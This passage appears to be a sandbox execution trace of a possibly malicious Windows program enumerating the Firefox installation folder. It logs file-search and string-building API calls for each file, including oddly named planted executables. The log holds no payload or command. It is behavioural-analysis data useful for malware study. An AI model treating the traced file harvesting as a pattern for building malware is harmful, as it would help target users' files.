returned="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0123.843] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 50 [0123.843] lstrcpyW (in: lpString1=0x24b4050, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0123.843] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.844] lstrcmpW (lpString1="freebl3.chk", lpString2=".") returned 1 [0123.844] lstrcmpW (lpString1="freebl3.chk", lpString2="..") returned 1 [0123.844] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.844] lstrlenW (lpString="freebl3.chk") returned 11 [0123.844] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="freebl3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" [0123.844] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk") returned 50 [0123.844] lstrcpyW (in: lpString1=0x24b40c0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" [0123.844] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.844] lstrcmpW (lpString1="freebl3.dll", lpString2=".") returned 1 [0123.844] lstrcmpW (lpString1="freebl3.dll", lpString2="..") returned 1 [0123.844] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.844] lstrlenW (lpString="freebl3.dll") returned 11 [0123.844] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="freebl3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" [0123.844] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll") returned 50 [0123.844] lstrcpyW (in: lpString1=0x24b4130, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" [0123.844] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.844] lstrcmpW (lpString1="gkmedias.dll", lpString2=".") returned 1 [0123.844] lstrcmpW (lpString1="gkmedias.dll", lpString2="..") returned 1 [0123.844] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.844] lstrlenW (lpString="gkmedias.dll") returned 12 [0123.844] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="gkmedias.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" [0123.844] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll") returned 51 [0123.844] lstrcpyW (in: lpString1=0x24b41a0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" [0123.844] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.844] lstrcmpW (lpString1="install.log", lpString2=".") returned 1 [0123.844] lstrcmpW (lpString1="install.log", lpString2="..") returned 1 [0123.844] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.844] lstrlenW (lpString="install.log") returned 11 [0123.844] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="install.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\install.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\install.log" [0123.844] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\install.log") returned 50 [0123.844] lstrcpyW (in: lpString1=0x24b4210, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\install.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\install.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\install.log" [0123.844] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.844] lstrcmpW (lpString1="later_pet_handjobs.exe", lpString2=".") returned 1 [0123.844] lstrcmpW (lpString1="later_pet_handjobs.exe", lpString2="..") returned 1 [0123.844] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.844] lstrlenW (lpString="later_pet_handjobs.exe") returned 22 [0123.844] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="later_pet_handjobs.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe" [0123.844] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe") returned 61 [0123.844] lstrcpyW (in: lpString1=0x24b1ff0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe" [0123.844] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.844] lstrcmpW (lpString1="libEGL.dll", lpString2=".") returned 1 [0123.844] lstrcmpW (lpString1="libEGL.dll", lpString2="..") returned 1 [0123.845] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.845] lstrlenW (lpString="libEGL.dll") returned 10 [0123.845] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="libEGL.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll" [0123.845] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll") returned 49 [0123.845] lstrcpyW (in: lpString1=0x24b4280, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll" [0123.845] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.845] lstrcmpW (lpString1="libGLESv2.dll", lpString2=".") returned 1 [0123.845] lstrcmpW (lpString1="libGLESv2.dll", lpString2="..") returned 1 [0123.845] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.845] lstrlenW (lpString="libGLESv2.dll") returned 13 [0123.845] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="libGLESv2.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll" [0123.845] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll") returned 52 [0123.845] lstrcpyW (in: lpString1=0x24b09c0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll" [0123.845] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.845] lstrcmpW (lpString1="maintenanceservice.exe", lpString2=".") returned 1 [0123.845] lstrcmpW (lpString1="maintenanceservice.exe", lpString2="..") returned 1 [0123.845] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.845] lstrlenW (lpString="maintenanceservice.exe") returned 22 [0123.845] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" [0123.845] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe") returned 61 [0123.845] lstrcpyW (in: lpString1=0x24b2078, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" [0123.845] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.845] lstrcmpW (lpString1="maintenanceservice_installer.exe", lpString2=".") returned 1 [0123.845] lstrcmpW (lpString1="maintenanceservice_installer.exe", lpString2="..") returned 1 [0123.845] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.845] lstrlenW (lpString="maintenanceservice_installer.exe") returned 32 [0123.845] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="maintenanceservice_installer.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" [0123.845] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe") returned 71 [0123.845] lstrcpyW (in: lpString1=0x24b42f0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" [0123.845] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.845] lstrcmpW (lpString1="mozalloc.dll", lpString2=".") returned 1 [0123.845] lstrcmpW (lpString1="mozalloc.dll", lpString2="..") returned 1 [0123.845] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.845] lstrlenW (lpString="mozalloc.dll") returned 12 [0123.845] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="mozalloc.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll" [0123.845] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll") returned 51 [0123.845] lstrcpyW (in: lpString1=0x24b4388, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll" [0123.845] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.846] lstrcmpW (lpString1="mozglue.dll", lpString2=".") returned 1 [0123.846] lstrcmpW (lpString1="mozglue.dll", lpString2="..") returned 1 [0123.846] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.846] lstrlenW (lpString="mozglue.dll") returned 11 [0123.846] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="mozglue.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" [0123.846] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll") returned 50 [0123.846] lstrcpyW (in: lpString1=0x24b43f8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" [0123.846] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.846] lstrcmpW (lpString1="mozjs.dll", lpString2=".") returned 1 [0123.846] lstrcmpW (lpString1="mozjs.dll", lpString2="..") returned 1 [0123.846] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.846] lstrlenW (lpString="mozjs.dll") returned 9 [0123.846] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="mozjs.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" [0123.846] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll") returned 48 [0123.846] lstrcpyW (in: lpString1=0x24b4480, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" [0123.846] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.846] lstrcmpW (lpString1="msvcp100.dll", lpString2=".") returned 1 [0123.846] lstrcmpW (lpString1="msvcp100.dll", lpString2="..") returned 1 [0123.846] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.846] lstrlenW (lpString="msvcp100.dll") returned 12 [0123.846] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="msvcp100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" [0123.846] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll") returned 51 [0123.846] lstrcpyW (in: lpString1=0x24b44f0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" [0123.846] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.846] lstrcmpW (lpString1="msvcr100.dll", lpString2=".") returned 1 [0123.846] lstrcmpW (lpString1="msvcr100.dll", lpString2="..") returned 1 [0123.846] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.846] lstrlenW (lpString="msvcr100.dll") returned 12 [0123.846] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="msvcr100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" [0123.846] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll") returned 51 [0123.846] lstrcpyW (in: lpString1=0x24b4560, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" [0123.846] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.846] lstrcmpW (lpString1="nss3.dll", lpString2=".") returned 1 [0123.846] lstrcmpW (lpString1="nss3.dll", lpString2="..") returned 1 [0123.846] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.846] lstrlenW (lpString="nss3.dll") returned 8 [0123.846] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nss3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" [0123.846] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned 47 [0123.846] lstrcpyW (in: lpString1=0x24b5468, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" [0123.846] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.846] lstrcmpW (lpString1="nssckbi.dll", lpString2=".") returned 1 [0123.846] lstrcmpW (lpString1="nssckbi.dll", lpString2="..") returned 1 [0123.846] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.846] lstrlenW (lpString="nssckbi.dll") returned 11 [0123.846] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nssckbi.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll" [0123.846] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll") returned 50 [0123.847] lstrcpyW (in: lpString1=0x24b45d0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll" [0123.847] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.847] lstrcmpW (lpString1="nssdbm3.chk", lpString2=".") returned 1 [0123.847] lstrcmpW (lpString1="nssdbm3.chk", lpString2="..") returned 1 [0123.847] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.847] lstrlenW (lpString="nssdbm3.chk") returned 11 [0123.847] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nssdbm3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" [0123.847] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk") returned 50 [0123.847] lstrcpyW (in: lpString1=0x24b4640, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" [0123.847] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.847] lstrcmpW (lpString1="nssdbm3.dll", lpString2=".") returned 1 [0123.847] lstrcmpW (lpString1="nssdbm3.dll", lpString2="..") returned 1 [0123.847] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.847] lstrlenW (lpString="nssdbm3.dll") returned 11 [0123.847] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nssdbm3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" [0123.847] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll") returned 50 [0123.847] lstrcpyW (in: lpString1=0x24b46b0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" [0123.847] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.847] lstrcmpW (lpString1="omni.ja", lpString2=".") returned 1 [0123.847] lstrcmpW (lpString1="omni.ja", lpString2="..") returned 1 [0123.847] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.847] lstrlenW (lpString="omni.ja") returned 7 [0123.847] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" [0123.847] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja") returned 46 [0123.847] lstrcpyW (in: lpString1=0x24b54d0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" [0123.847] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.847] lstrcmpW (lpString1="ones_pork_tommy_lb.exe", lpString2=".") returned 1 [0123.847] lstrcmpW (lpString1="ones_pork_tommy_lb.exe", lpString2="..") returned 1 [0123.847] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.847] lstrlenW (lpString="ones_pork_tommy_lb.exe") returned 22 [0123.847] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="ones_pork_tommy_lb.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe" [0123.847] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe") returned 61 [0123.847] lstrcpyW (in: lpString1=0x24b2100, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe" [0123.847] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.847] lstrcmpW (lpString1="platform.ini", lpString2=".") returned 1 [0123.847] lstrcmpW (lpString1="platform.ini", lpString2="..") returned 1 [0123.847] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.847] lstrlenW (lpString="platform.ini") returned 12 [0123.847] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="platform.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" [0123.847] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini") returned 51 [0123.847] lstrcpyW (in: lpString1=0x24b4720, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" [0123.847] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.847] lstrcmpW (lpString1="plugin-container.exe", lpString2=".") returned 1 [0123.847] lstrcmpW (lpString1="plugin-container.exe", lpString2="..") returned 1 [0123.847] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.847] lstrlenW (lpString="plugin-container.exe") returned 20 [0123.847] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="plugin-container.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" [0123.847] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe") returned 59 [0123.848] lstrcpyW (in: lpString1=0x24b5538, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" [0123.848] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.848] lstrcmpW (lpString1="plugin-hang-ui.exe", lpString2=".") returned 1 [0123.848] lstrcmpW (lpString1="plugin-hang-ui.exe", lpString2="..") returned 1 [0123.848] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.848] lstrlenW (lpString="plugin-hang-ui.exe") returned 18 [0123.848] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="plugin-hang-ui.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" [0123.848] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe") returned 57 [0123.848] lstrcpyW (in: lpString1=0x24b55b8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" [0123.848] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.848] lstrcmpW (lpString1="precomplete", lpString2=".") returned 1 [0123.848] lstrcmpW (lpString1="precomplete", lpString2="..") returned 1 [0123.848] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.848] lstrlenW (lpString="precomplete") returned 11 [0123.848] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="precomplete" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete") returned="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete" [0123.848] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete") returned 50 [0123.848] lstrcpyW (in: lpString1=0x24b4790, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete") returned="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete" [0123.848] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.848] lstrcmpW (lpString1="removed-files", lpString2=".") returned 1 [0123.848] lstrcmpW (lpString1="removed-files", lpString2="..") returned 1 [0123.848] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.848] lstrlenW (lpString="removed-files") returned 13 [0123.848] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="removed-files" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files") returned="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files" [0123.848] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files") returned 52 [0123.848] lstrcpyW (in: lpString1=0x24b0a38, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files") returned="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files" [0123.848] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.848] lstrcmpW (lpString1="softokn3.chk", lpString2=".") returned 1 [0123.848] lstrcmpW (lpString1="softokn3.chk", lpString2="..") returned 1 [0123.848] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.848] lstrlenW (lpString="softokn3.chk") returned 12 [0123.848] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="softokn3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" [0123.848] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk") returned 51 [0123.848] lstrcpyW (in: lpString1=0x24b4800, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" [0123.848] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) 